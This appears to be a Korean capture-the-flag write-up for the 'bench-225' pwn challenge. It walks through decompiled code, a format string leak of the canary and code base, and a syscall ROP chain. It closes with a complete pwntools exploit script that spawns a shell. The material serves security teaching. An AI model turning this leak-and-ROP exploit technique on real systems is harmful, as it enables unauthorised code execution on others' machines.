❯ checksec bench-225
[*] '/root/workspace/CTF/UMassCTF/pwnable/bench-225/bench-225'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
int __cdecl main(int argc, const char **argv, const char **envp)
{
int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
index = 0;
puts(" __ __ ______ ______ _______ ");
puts("/ | / | / \\ / \\ / | ");
puts("$$ |____ ______ _______ _______ $$ |____ /$$$$$$ |/$$$$$$ |$$$$$$$/ ");
puts("$$ \\ / \\ / \\ / |$$ \\ ______$$____$$ |$$____$$ |$$ |____ ");
puts("$$$$$$$ |/$$$$$$ |$$$$$$$ |/$$$$$$$/ $$$$$$$ |/ |/ $$/ / $$/ $$ \\ ");
puts("$$ | $$ |$$ $$ |$$ | $$ |$$ | $$ | $$ |$$$$$$//$$$$$$/ /$$$$$$/ $$$$$$$ |");
puts("$$ |__$$ |$$$$$$$$/ $$ | $$ |$$ \\_____ $$ | $$ | $$ |_____ $$ |_____ / \\__$$ |");
puts("$$ $$/ $$ |$$ | $$ |$$ |$$ | $$ | $$ |$$ |$$ $$/ ");
puts("$$$$$$$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$/ $$/ $$$$$$$$/ $$$$$$$$/ $$$$$$/ ");
putchar('\n');
puts("Grind doesn't stop.");
putchar('\n');
g_Barbell = 0;
goalWeight = 225;
stamina = 140;
maxWeight = 315;
reps = 25;
currentReps = 0;
while ( 1 )
{
puts("====================================");
puts("Name: Gary Goggins");
printf("Goal: %d lbs x %d reps\n", goalWeight, reps);
printf("Current Weight: %d\n", g_Barbell);
printf("Rep: %d/%d\n", currentReps, reps);
printf("Stamina: %d\n", stamina);
puts("====================================");
putchar(10);
puts("Choose an option:");
puts("1. Add 10s");
puts("2. Add 25s");
puts("3. Add 45s");
puts("4. Bench");
puts("5. Remove Plate");
if ( stamina <= 49u && g_Barbell >= goalWeight )
puts("6. Motivational Quote");
__isoc99_scanf("%d", &index);
switch ( index )
{
case 1:
add_10s();
break;
case 2:
add_25s();
break;
case 3:
add_45s();
break;
case 4:
if ( stamina )
bench();
else
puts("You are too tired to continue.");
break;
case 5:
printf("\x1B[2J");
puts("Weakness is a choice.");
break;
case 6: // BOF Trigger
if ( stamina <= 49u && g_Barbell >= goalWeight )
motivation();
break;
default:
puts("Invalid choice.");
break;
}
}
}
1 을 선택하면 add_10s() 함수를 호출2 를 선택하면 add_25s() 함수를 호출3 을 선택하면 add_45s() 함수를 호출4 를 선택하면 stamina 가 0 이 아닐 때 bench() 함수를 호출5 를 선택하면 문자열을 출력하고 종료6 을 선택하면 stamina 가 49 이하이고 g_Barbell 이 goalWeight 이상인지 확인motivation() 함수 호출void add_10s()
{
printf("\x1B[2J");
puts("Adding 10s");
if ( g_Barbell + 9 >= maxWeight )
{
puts("On second thought... they don't allow that at this gym.");
exit(0);
}
g_Barbell += 10;
currentReps = 0;
}
g_Barbell + 9 가 maxWeight 이상이면 종료g_Barbell 에 10 을 더함currentReps 를 0 으로 초기화void add_25s()
{
printf("\x1B[2J");
puts("Adding 25s");
if ( g_Barbell + 24 >= maxWeight )
{
puts("On second thought... they don't allow that at this gym.");
exit(0);
}
g_Barbell += 25;
currentReps = 0;
}
g_Barbell + 24 가 maxWeight 이상이면 종료g_Barbell 에 25 를 더함currentReps 를 0 으로 초기화void add_45s()
{
printf("\x1B[2J");
puts("Adding 45s");
if ( g_Barbell + 44 >= maxWeight )
{
puts("On second thought... they don't allow that at this gym.");
exit(0);
}
g_Barbell += 45;
currentReps = 0;
}
g_Barbell + 44 가 maxWeight 이상이면 종료g_Barbell 에 45 를 더함currentReps 를 0 으로 초기화void __fastcall bench()
{
int random; // eax
__int16 staminaNeeded; // [rsp+6h] [rbp-Ah]
printf("\x1B[2J");
if ( currentReps == reps )
puts("You already finished the set, but okay...");
if ( g_Barbell )
{
if ( g_Barbell > maxWeight )
{
printTextBox("CENSORED");
puts("The barbell bent once you picked it up. What a miracle. I think we're done here...");
exit(0);
}
if ( stamina )
{
staminaNeeded = calculate_stamina_needed();
if ( (stamina - staminaNeeded) > 0 )
{
stamina -= staminaNeeded;
}
else
{
puts("Barely made that one...");
stamina = 0;
}
puts("Benching...");
++currentReps;
if ( g_Barbell >= goalWeight && currentReps >= reps / 2.0 )
{
random = rand();
printTextBox((&g_Quotes)[random % 4]);
}
printf("Stamina: %d\n", stamina);
puts(&byte_46B8);
puts(&byte_4748);
puts(&byte_47D8);
puts(&byte_4868);
puts(&byte_48F8);
puts(&byte_4988);
puts(&byte_4A18);
puts(&byte_4AA8);
puts(&byte_4B38);
puts(&byte_4BC8);
puts(&byte_4C58);
puts(&byte_4CE8);
puts(&byte_4D78);
puts(&byte_4E08);
puts(&byte_4E98);
puts(&byte_4F28);
puts(&byte_4FB8);
puts(&byte_5048);
puts(&byte_50D8);
putchar('\n');
if ( currentReps >= reps )
puts("You have completed the set!");
}
else
{
puts("You are too tired to bench this.");
}
}
else
{
puts("You need to add some weight first.");
}
}
currentReps 인 현재 반복 횟수가 reps 인 세트당 반복 횟수랑 같으면 세트가 끝났다는 문자열 출력g_Barbell 인 현재 바벨 무게가 maxWeight 인 헬스장에 있는 모든 바벨 무게 합보다 크면 에러 메시지를 출력하고 종료한다.stamina 인 체력이 0 이 아니면 현재 무게로 벤치프레스를 하는데 필요한 체력을 calculate_stamina_needed() 함수를 호출하여 계산한다.stamina 인 현재 체력이 staminaNeeded 인 필요 체력보다 크면 현재 체력에서 필요 체력을 뺀다.stamina 에 0 을 대입한다.currentReps 인 현재 반복 횟수를 증가시킨다.void motivation()
{
int v0; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
printf("Enter your motivational quote: ");
do
v0 = getchar();
while ( v0 != '\n' && v0 != -1 );
fgets(buf, 1000, stdin); // BOF
printf("\x1B[2J");
printf("Quote: \"");
printf(buf); // FSB
printf("\" - Gary Goggins");
puts("...........................................................................:::::::::::::------------");
puts("............................................................................::::::::::::------------");
puts("............................................................................::::::::::::------------");
puts("............................................................................:::::::::::-------------");
puts(".....................................................=+++===.................::::::::::-------------");
puts("..................................................++#**+++=====-............:::::::::::-------------");
puts("................................................+####***+========-..........:::::::::::-------------");
puts("...............................................+##%##**+====-======.........:::::::::::-------------");
puts("..............................................+%##%%**++=-------===-.........::::::::::-------------");
puts("..............................................##%%%%#*++===---=====+.........::::::::::-------------");
puts("..............................................*%%%%%#***++=----====+........:::::::::::-------------");
puts("..............................................+#%%%%#+=++===---===++........:::::::::::-------------");
puts("..............................................+*#@@@@%#*+++*##*+=+=:-.......:::::::::::-------------");
puts("............................................:%%*%%%#**%%#-=*#@@*=-=--#......:::::::::::-------------");
puts("............................................-%##%%%%+-#%*---***=--====......:::::::::::-------------");
puts(".............................................@%#%%#***%%*----==---==+:......:::::::::::-------------");
puts(".............................................#%#%%####%%+--=-==--===-........::::::::::-------------");
puts("..............................................=*%%%%%%%@#+%*-======:.........::::::::::-------------");
puts("...............................................:#%%%%%%%#*+=--=====..........::::::::::-------------");
puts("................................................%%%%%%%%%+++-======..........::::::::::-------------");
puts("................................................#%%%%@%#+==-======+..........::::::::::-------------");
puts(".................................................%%%%%%%%#*====++==:.........::::::::::-------------");
puts(".................................................%@%%%%%**+====++==++*=-....:::::::::::-------------");
puts("..............................................:#%%@@@%%@%%%#**+======*=+-=--::::::::::::------------");
puts("..........................................:**%%%@%%@@%%%@%#+==++=====#++*+-==---::::::::------------");
puts(".....................................-+**%%%%%%@@@@@@@%%%#*+=+++=====+++++==++++-==::::-------------");
puts(".................................-+*#%#%%#%%%@%@@@@@@@%%%%#++++++++=++=====+++=+======--::---:------");
puts("..............................:*#%#%%%%%@@@%%%@%@@@@@@%%%%%##*++++=*+*++=+=+==++=========-::--:-----");
puts("............................-#%#%%%%%@@%%%%%%%%%%%%@%@%#%%%%#*++=*++++====**++**+====+=-=--::-:-----");
puts("...........................*####%#%%%%%@%@%%%#*##*#*++#==*%%#++=***=*=++++#=#**+=+*====--=--:-------");
puts("..........................=#####*#####%#%#@%%%%#*#***+*==+%##**+**=*#*+*+%=*##+#+*++======---:------");
puts("..........................######%@*####*#%@%%*##*##***+*+*%%##***+*+#++=#+=%%*%**+*+=+===-:==:------");
puts(".........................=%#@*%#*%**#**##%%%#**#**%#***#*#*#%#**+++**+*+%=#%*#***#++*=+-+==--:------");
puts(".........................#%%##%*#%%++***#%@%+*#%**#%*=*+#**+###**=***++%#*%%+%@%**%*++*=+=----------");
puts(".........................#%%*@*%+#@++**+#%%%*+#%*++%%*=+%*+***+*+++*+**%*#@*%%%%##*#***==+==::------");
puts(".........................#%%%#@*%*%*+%++*%%#**##***##%#+++*###+*+****+##*%@+%@%@%%%#+**=====--------");
puts(".........................%#@%@%%##@#+%#=*@%#**#%#+=###%#****#*+#*##+*=#%#@%=%@@@@@%%*#*++==---------");
puts("........................+*%#%%%*@**@*%%=%%#**##%#=++##*%%*###***###***###@#+#@@@@@#%##*++===--------");
puts("........................%%%@%+@%%%%@#@%+%%#*###%#**#%%####%##*####*++#%#%@*+*%@@@@%%%+==*+=-=-------");
puts("........................%%@%%@@*#@%@%@%#%###*%%##**##%##*#%%*##*##***#%#@%**#%@@*#%%%**++==+-==-----");
}
fgets 함수 호출 부분을 봐보면 buf 변수의 크기는 8 인데, 1000 크기의 입력을 받고 있어서 BOF 취약점이 발생합니다.
printf(buf) 를 보면 buf 가 문자열인데, 형식지정자 없이 그대로 출력하고 있기 때문에, Format String Bug가 발생합니다.
→ Format String Bug를 이용해서 Base Address를 릭한 후 BOF를 이용해서 쉘을 따면 될거 같습니다.
void motivation() {
...
fgets(buf, 1000, stdin); // BOF
...
printf(buf); // FSB
...
}
motivation() 함수에 취약점이 존재하기 때문에, 해당 함수를 호출하면 취약점을 트리거 할 수 있습니다. case 6: // BOF Trigger
if ( stamina <= 49u && g_Barbell >= goalWeight )
motivation();
motivation() 함수 호출 조건을 통과하기 위해서는 stamina 값을 49 이하로 만들어야 하고 g_Barbell 값을 225 이상으로 만들어야 합니다.void add_45s()
{
printf("\x1B[2J");
puts("Adding 45s");
if ( g_Barbell + 44 >= maxWeight )
{
puts("On second thought... they don't allow that at this gym.");
exit(0);
}
g_Barbell += 45;
currentReps = 0;
}
add_45s() 함수를 이용하면 g_Barbell 값을 45 씩 증가시킬 수 있습니다.void __fastcall bench() {
...
if ( stamina )
{
staminaNeeded = calculate_stamina_needed();
if ( (stamina - staminaNeeded) > 0 )
{
stamina -= staminaNeeded;
}
else
{
puts("Barely made that one...");
stamina = 0;
}
puts("Benching...");
++currentReps;
...
}
bench() 함수를 호출하면 stamina 값을 감소시킬 수 있습니다.====================================
Name: Gary Goggins
Goal: 225 lbs x 25 reps
Current Weight: 225
Rep: 6/25
Stamina: 44
====================================
Choose an option:
1. Add 10s
2. Add 25s
3. Add 45s
4. Bench
5. Remove Plate
6. Motivational Quote
6
Enter your motivational quote: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Quote: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
" - Gary Goggins...........................................................................:::::::::::::------------
............................................................................::::::::::::------------
............................................................................::::::::::::------------
............................................................................:::::::::::-------------
.....................................................=+++===.................::::::::::-------------
..................................................++#**+++=====-............:::::::::::-------------
................................................+####***+========-..........:::::::::::-------------
...............................................+##%##**+====-======.........:::::::::::-------------
..............................................+%##%%**++=-------===-.........::::::::::-------------
..............................................##%%%%#*++===---=====+.........::::::::::-------------
..............................................*%%%%%#***++=----====+........:::::::::::-------------
..............................................+#%%%%#+=++===---===++........:::::::::::-------------
..............................................+*#@@@@%#*+++*##*+=+=:-.......:::::::::::-------------
............................................:%%*%%%#**%%#-=*#@@*=-=--#......:::::::::::-------------
............................................-%##%%%%+-#%*---***=--====......:::::::::::-------------
.............................................@%#%%#***%%*----==---==+:......:::::::::::-------------
.............................................#%#%%####%%+--=-==--===-........::::::::::-------------
..............................................=*%%%%%%%@#+%*-======:.........::::::::::-------------
...............................................:#%%%%%%%#*+=--=====..........::::::::::-------------
................................................%%%%%%%%%+++-======..........::::::::::-------------
................................................#%%%%@%#+==-======+..........::::::::::-------------
.................................................%%%%%%%%#*====++==:.........::::::::::-------------
.................................................%@%%%%%**+====++==++*=-....:::::::::::-------------
..............................................:#%%@@@%%@%%%#**+======*=+-=--::::::::::::------------
..........................................:**%%%@%%@@%%%@%#+==++=====#++*+-==---::::::::------------
.....................................-+**%%%%%%@@@@@@@%%%#*+=+++=====+++++==++++-==::::-------------
.................................-+*#%#%%#%%%@%@@@@@@@%%%%#++++++++=++=====+++=+======--::---:------
..............................:*#%#%%%%%@@@%%%@%@@@@@@%%%%%##*++++=*+*++=+=+==++=========-::--:-----
............................-#%#%%%%%@@%%%%%%%%%%%%@%@%#%%%%#*++=*++++====**++**+====+=-=--::-:-----
...........................*####%#%%%%%@%@%%%#*##*#*++#==*%%#++=***=*=++++#=#**+=+*====--=--:-------
..........................=#####*#####%#%#@%%%%#*#***+*==+%##**+**=*#*+*+%=*##+#+*++======---:------
..........................######%@*####*#%@%%*##*##***+*+*%%##***+*+#++=#+=%%*%**+*+=+===-:==:------
.........................=%#@*%#*%**#**##%%%#**#**%#***#*#*#%#**+++**+*+%=#%*#***#++*=+-+==--:------
.........................#%%##%*#%%++***#%@%+*#%**#%*=*+#**+###**=***++%#*%%+%@%**%*++*=+=----------
.........................#%%*@*%+#@++**+#%%%*+#%*++%%*=+%*+***+*+++*+**%*#@*%%%%##*#***==+==::------
.........................#%%%#@*%*%*+%++*%%#**##***##%#+++*###+*+****+##*%@+%@%@%%%#+**=====--------
.........................%#@%@%%##@#+%#=*@%#**#%#+=###%#****#*+#*##+*=#%#@%=%@@@@@%%*#*++==---------
........................+*%#%%%*@**@*%%=%%#**##%#=++##*%%*###***###***###@#+#@@@@@#%##*++===--------
........................%%%@%+@%%%%@#@%+%%#*###%#**#%%####%##*####*++#%#%@*+*%@@@@%%%+==*+=-=-------
........................%%@%%@@*#@%@%@%#%###*%%##**##%##*#%%*##*##***#%#@%**#%@@*#%%%**++==+-==-----
*** stack smashing detected ***: terminated
stack smashing detected 가 발생했습니다.❯ ROPgadget --binary ./bench-225 --re "pop rdi"
Gadgets information
============================================================
0x000000000000100c : pop rdi ; add byte ptr [rax], al ; test rax, rax ; je 0x1016 ; call rax
0x0000000000001336 : pop rdi ; ret
❯ ROPgadget --binary ./bench-225 --re "pop rsi"
Gadgets information
============================================================
0x000000000000133a : pop rsi ; ret
0x0000000000001e66 : pop rsi ; retf 0xf66
❯ ROPgadget --binary ./bench-225 --re "pop rdx"
Gadgets information
============================================================
0x0000000000001338 : pop rdx ; ret
❯ ROPgadget --binary ./bench-225 --re "pop rax"
Gadgets information
============================================================
0x000000000000132b : add byte ptr [rax - 0x77], cl ; clc ; xor eax, eax ; pop rax ; ret
0x000000000000132a : add byte ptr [rax], al ; mov qword ptr [rbp - 8], rax ; xor eax, eax ; pop rax ; ret
0x000000000000132f : clc ; xor eax, eax ; pop rax ; ret
0x000000000000132d : mov dword ptr [rbp - 8], eax ; xor eax, eax ; pop rax ; ret
0x000000000000132c : mov qword ptr [rbp - 8], rax ; xor eax, eax ; pop rax ; ret
0x0000000000001332 : pop rax ; ret
0x0000000000001330 : xor eax, eax ; pop rax ; ret
❯ ROPgadget --binary ./bench-225 --re "syscall"
Gadgets information
============================================================
0x000000000000133e : syscall
rdi, rsi, rdx, rax 레지스터 값을 세팅할 수 있는 가젯이 있습니다.syscall 가젯이 있습니다.[1] Trigger
[2] Leak Canary
[3] Leak Code Base
[4] Write "/bin/sh" in bss
read(0, bss, 16)
[5] get shell
system("/bin/sh")
Choose an option:
1. Add 10s
2. Add 25s
3. Add 45s
4. Bench
5. Remove Plate
6. Motivational Quote
6
Enter your motivational quote: AAAAAAAA %p %p %p %p %p %p %p %p %p %p
Quote: "AAAAAAAA 0x7ffc783c8090 (nil) 0x7efe7012d887 0x8 (nil) (nil) 0xa783ca1f0 0x4141414141414141 0x2520702520702520 0x2070252070252070
8 입니다.def trigger():
for i in range(5):
p.sendlineafter(b"5. Remove Plate\n", b'3')
for i in range(6):
p.sendlineafter(b"5. Remove Plate\n", b'4')
add_45s 를 5번 호출하여 g_Barbell 값을 225 이상으로 세팅bench 를 6번 호출하여 stamina 값을 49 이하로 세팅def leak(offset):
p.sendlineafter(b"6. Motivational Quote\n", b'6')
payload = f'%{offset}$p'.encode("utf-8")
p.sendlineafter(b"Enter your motivational quote: ", payload)
value = int(
p.recvuntil(b'Gary Goggins')
.split(b': ')[1]
.split(b' -')[0]
.replace(b'"', b'')
.replace(b'\n', b'')
.strip(),
16
)
return value
fgets(buf, 1000, stdin) 로 입력을 받은 후 해당 값을 printf(buf) 로 출력하는 과정에서 포멧 스트링 버그 발생%{offset}$p 를 페이로드로 전송하여 원하는 위치의 값을 릭할 수 있도록 함수 작성카나리 값을 릭하기 위해서는 카나리 값 까지의 offset을 구해야 합니다.
motivation 함수에 있는 카나리 값은 페이로드를 전송하면서 Overwrite 되어 버리기 때문에, main 함수의 카나리 값을 릭 하겠습니다.
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4e0│+0x0000: 0x0000000000001000 ← $rsp
0x00007fffffffe4e8│+0x0008: 0xae7f7d2ad9ad0c00
0x00007fffffffe4f0│+0x0010: 0x0000000000000001 ← $rbp
0x00007fffffffe4f8│+0x0018: 0x00007ffff7db4d90 → <__libc_start_call_main+0080> mov edi, eax
0x00007fffffffe500│+0x0020: 0x0000000000000000
0x00007fffffffe508│+0x0028: 0x000055555555535c → <main+0000> endbr64
0x00007fffffffe510│+0x0030: 0x00000001ffffe5f0
0x00007fffffffe518│+0x0038: 0x00007fffffffe608 → 0x00007fffffffe820 → "/root/workspace/CTF/UMassCTF/pwnable/bench-225/ben[...]"
gef➤ canary
[+] The canary of process 15770 is at 0x7ffff7d88768, value is 0xae7f7d2ad9ad0c00
main 함수의 카나리 값 주소 : 0x00007fffffffe4e8────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4b0│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe4b8│+0x0008: 0x0000000affffe4f0
0x00007fffffffe4c0│+0x0010: "AAAAAAAA\n" ← $rdi
0x00007fffffffe4c8│+0x0018: 0xae7f7d2ad9ad000a ("\n"?)
0x00007fffffffe4d0│+0x0020: 0x00007fffffffe4f0 → 0x0000000000000001 ← $rbp
0x00007fffffffe4d8│+0x0028: 0x00005555555556a1 → <main+0345> jmp 0x5555555556b4 <main+856>
0x00007fffffffe4e0│+0x0030: 0x0000000600001000
0x00007fffffffe4e8│+0x0038: 0xae7f7d2ad9ad0c00
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555555a5b <motivation+009b> lea rax, [rbp-0x10]
0x555555555a5f <motivation+009f> mov rdi, rax
0x555555555a62 <motivation+00a2> mov eax, 0x0
→ 0x555555555a67 <motivation+00a7> call 0x555555555150 <printf@plt>
↳ 0x555555555150 <printf@plt+0000> endbr64
0x555555555154 <printf@plt+0004> bnd jmp QWORD PTR [rip+0x5e45] # 0x55555555afa0 <printf@got.plt>
0x55555555515b <printf@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
0x555555555160 <memset@plt+0000> endbr64
0x555555555164 <memset@plt+0004> bnd jmp QWORD PTR [rip+0x5e3d] # 0x55555555afa8 <memset@got.plt>
0x55555555516b <memset@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
0x00007fffffffe4c0offset = (canary_address - payload_address) / 8 + fsb_offset
gef➤ p/x (0x00007fffffffe4e8-0x00007fffffffe4c0) / 0x8 + 0x8
$1 = 0xd
13 입니다.# [2] Leak Canary
#pause()
canary = leak(13)
slog("canary", canary)
leak 함수에 13 을 오프셋으로 전송하여 카나리 값을 릭해줍니다.motivation 함수의 ret 에는 main 함수에서 motivation 함수를 호출한 이후 코드의 주소가 저장되어 있습니다.
그래서 ret 값을 릭하면 code 영역의 주소를 얻을 수 있고 이를 이용하면 code base 값을 구할 수 있습니다.
먼저 ret 값을 구하기 위해서 offset을 계산하겠습니다.
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4b0│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe4b8│+0x0008: 0x0000000affffe4f0
0x00007fffffffe4c0│+0x0010: "AAAAAAAA\n" ← $rdi
0x00007fffffffe4c8│+0x0018: 0xdec4bf96cf79000a ("\n"?)
0x00007fffffffe4d0│+0x0020: 0x00007fffffffe4f0 → 0x0000000000000001 ← $rbp
0x00007fffffffe4d8│+0x0028: 0x00005555555556a1 → <main+0345> jmp 0x5555555556b4 <main+856>
0x00007fffffffe4e0│+0x0030: 0x0000000600001000
0x00007fffffffe4e8│+0x0038: 0xdec4bf96cf799c00
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555555a5b <motivation+009b> lea rax, [rbp-0x10]
0x555555555a5f <motivation+009f> mov rdi, rax
0x555555555a62 <motivation+00a2> mov eax, 0x0
→ 0x555555555a67 <motivation+00a7> call 0x555555555150 <printf@plt>
↳ 0x555555555150 <printf@plt+0000> endbr64
0x555555555154 <printf@plt+0004> bnd jmp QWORD PTR [rip+0x5e45] # 0x55555555afa0 <printf@got.plt>
0x55555555515b <printf@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
0x555555555160 <memset@plt+0000> endbr64
0x555555555164 <memset@plt+0004> bnd jmp QWORD PTR [rip+0x5e3d] # 0x55555555afa8 <memset@got.plt>
0x55555555516b <memset@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
0x00007fffffffe4c0───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4b0│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe4b8│+0x0008: 0x0000000affffe4f0
0x00007fffffffe4c0│+0x0010: "AAAAAAAA\n" ← $rdi
0x00007fffffffe4c8│+0x0018: 0xdec4bf96cf79000a ("\n"?)
0x00007fffffffe4d0│+0x0020: 0x00007fffffffe4f0 → 0x0000000000000001 ← $rbp
0x00007fffffffe4d8│+0x0028: 0x00005555555556a1 → <main+0345> jmp 0x5555555556b4 <main+856>
0x00007fffffffe4e0│+0x0030: 0x0000000600001000
0x00007fffffffe4e8│+0x0038: 0xdec4bf96cf799c00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ ret
#0 0x00005555555556a1 in main ()
ret 주소 : 0x00007fffffffe4d8offset = (ret_address - payload_address) / 8 + 8
gef➤ p/x (0x00007fffffffe4d8-0x00007fffffffe4c0) / 8 + 8
$1 = 0xb
ret 를 릭하기 위한 offset은 11 입니다.이제 code base 값을 계산해보면
ret -> main+345
main_address = leak(11) - (main+345_address - main_address)
main_address = leak(11) - (0x00005555555556a1-0x000055555555535c)
main_address = leak(11) - 837
main = code_base + main_offset
code_base = main - main_offset
code_base = leak(11) - 837 - main_offset
# [3] Leak Code Base
#pause()
main = leak(11) - 837
e.address = main - e.symbols['main']
bss = e.bss() + 1000 # + 1000 (avoid overwrite stdout)
slog("code base", e.address)
slog("bss", bss)
# [4] Prepare ROP Gadget
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + e.address
pop_rsi = r.find_gadget(['pop rsi', 'ret'])[0] + e.address
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0] + e.address
pop_rax = r.find_gadget(['pop rax', 'ret'])[0] + e.address
syscall = r.find_gadget(['syscall'])[0] + e.address
ret = r.find_gadget(['ret'])[0] + e.address
PIE 보호 기법이 걸려있을 때는 code base 값을 ROP Gadget에 더해줘야 합니다.syscall 가젯과 pop rax 가젯이 존재합니다. 그래서 굳이 libc base 를 릭해서 system 함수의 주소를 구할 필요 없이 syscall 가젯을 통해 직접 exec 계열의 함수를 호출해서 익스플로잇을 하면 될거 같습니다.이제 ROP를 위해 bss 영역에 "/bin/sh" 를 쓰겠습니다.
이때 주의해야 할 점이 stack alignment를 맞춰줘야 합니다. stack alignment가 맞지 않을 경우 movasp 명령어에서 SIGSEGV 가 발생할 수 있습니다.
그리고 bss 영역에 "/bin/sh" 를 작성할 때 bss 영역에 존재하는 stdin, stdout 같은 값들을 덮지 않도록 주의해야 합니다. 이런 값들을 덮어버릴 경우 printf 함수 실행시 SIGSEVG 가 발생할 수 있습니다.
해당 바이너리의 bss 영역 시작 주소를 살펴보면
gef➤ x/s 0x55874212e060
0x55874212e060 <stdout@GLIBC_2.2.5>: "\200\367\b\017i\177"
stdout 값이 저장되어 있습니다."/bin/sh" 를 덮어써버리면 익스플로잇에 문제가 발생할 수 있기 때문에, 1000 바이트 뒤에 "/bin/sh" 를 쓰겠습니다.bss = e.bss() + 1000 # + 1000 (avoid overwrite stdout)
# [4] read(0, bss, 16)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret) # stack alignment
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(16)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall) + p64(ret)
payload += p64(e.symbols['motivation'])
#pause()
p.sendlineafter(b"6. Motivational Quote\n", b'6')
p.sendlineafter(b"Enter your motivational quote: ", payload)
p.sendline(b'/bin/sh\x00')
stdout 을 덮는 것을 막기 위해 bss 영역 주소에 +1000을 한 곳에 "/bin/sh" 를 덮어썼습니다.ret 가젯을 추가하였습니다.이제 쉘을 따는 단계입니다.
# [5] execve("/bin/sh", NULL, NULL)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
#pause()
p.recvuntil(b"Enter your motivational quote:")
p.sendline(b'A')
p.sendline(payload)
p.clean()
syscall 가젯을 이용해서 execve("/bin/sh", NULL, NULL) 코드를 실행시켜 쉘을 따면 됩니다.p.sendlineafter() 함수를 사용했었는데, 페이로드를 제대로 전달하지 못하는 문제가 발생했습니다.p.recvuntil() 함수와 p.sendline() 함수를 사용해서 페이로드를 전달하도록 하였습니다.from pwn import *
binary = "./bench-225"
p = process(binary)
e = ELF(binary)
r = ROP(e)
def slog(sym, val):
success(sym + ": " + hex(val))
def trigger():
for i in range(5):
p.sendlineafter(b"5. Remove Plate\n", b'3')
for i in range(6):
p.sendlineafter(b"5. Remove Plate\n", b'4')
def leak(offset):
p.sendlineafter(b"6. Motivational Quote\n", b'6')
payload = f'%{offset}$p'.encode("utf-8")
p.sendlineafter(b"Enter your motivational quote: ", payload)
value = int(
p.recvuntil(b'Gary Goggins')
.split(b': ')[1]
.split(b' -')[0]
.replace(b'"', b'')
.replace(b'\n', b'')
.strip(),
16
)
return value
# [1] Trigger
trigger()
# [2] Leak Canary
#pause()
canary = leak(13)
slog("canary", canary)
# [3] Leak Code Base
#pause()
main = leak(11) - 837
e.address = main - e.symbols['main']
bss = e.bss() + 1000 # + 1000 (avoid overwrite stdout)
slog("code base", e.address)
slog("bss", bss)
# [4] Prepare ROP Gadget
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + e.address
pop_rsi = r.find_gadget(['pop rsi', 'ret'])[0] + e.address
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0] + e.address
pop_rax = r.find_gadget(['pop rax', 'ret'])[0] + e.address
syscall = r.find_gadget(['syscall'])[0] + e.address
ret = r.find_gadget(['ret'])[0] + e.address
# [4] read(0, bss, 16)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret) # stack alignment
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(16)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall) + p64(ret)
payload += p64(e.symbols['motivation'])
#pause()
p.sendlineafter(b"6. Motivational Quote\n", b'6')
p.sendlineafter(b"Enter your motivational quote: ", payload)
p.sendline(b'/bin/sh\x00')
# [5] execve("/bin/sh", NULL, NULL)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
#pause()
p.recvuntil(b"Enter your motivational quote:")
p.sendline(b'A')
p.sendline(payload)
p.clean()
# [6] Get Shell
p.interactive()
❯ python3 exploit.py
[+] Starting local process './bench-225': pid 53074
[*] '/root/workspace/CTF/UMassCTF/pwnable/bench-225/bench-225'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 12 cached gadgets for './bench-225'
[+] canary: 0xdbe6a7f4ba3db00
[+] code base: 0x55ee0b195000
[+] bss: 0x55ee0b19c448
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)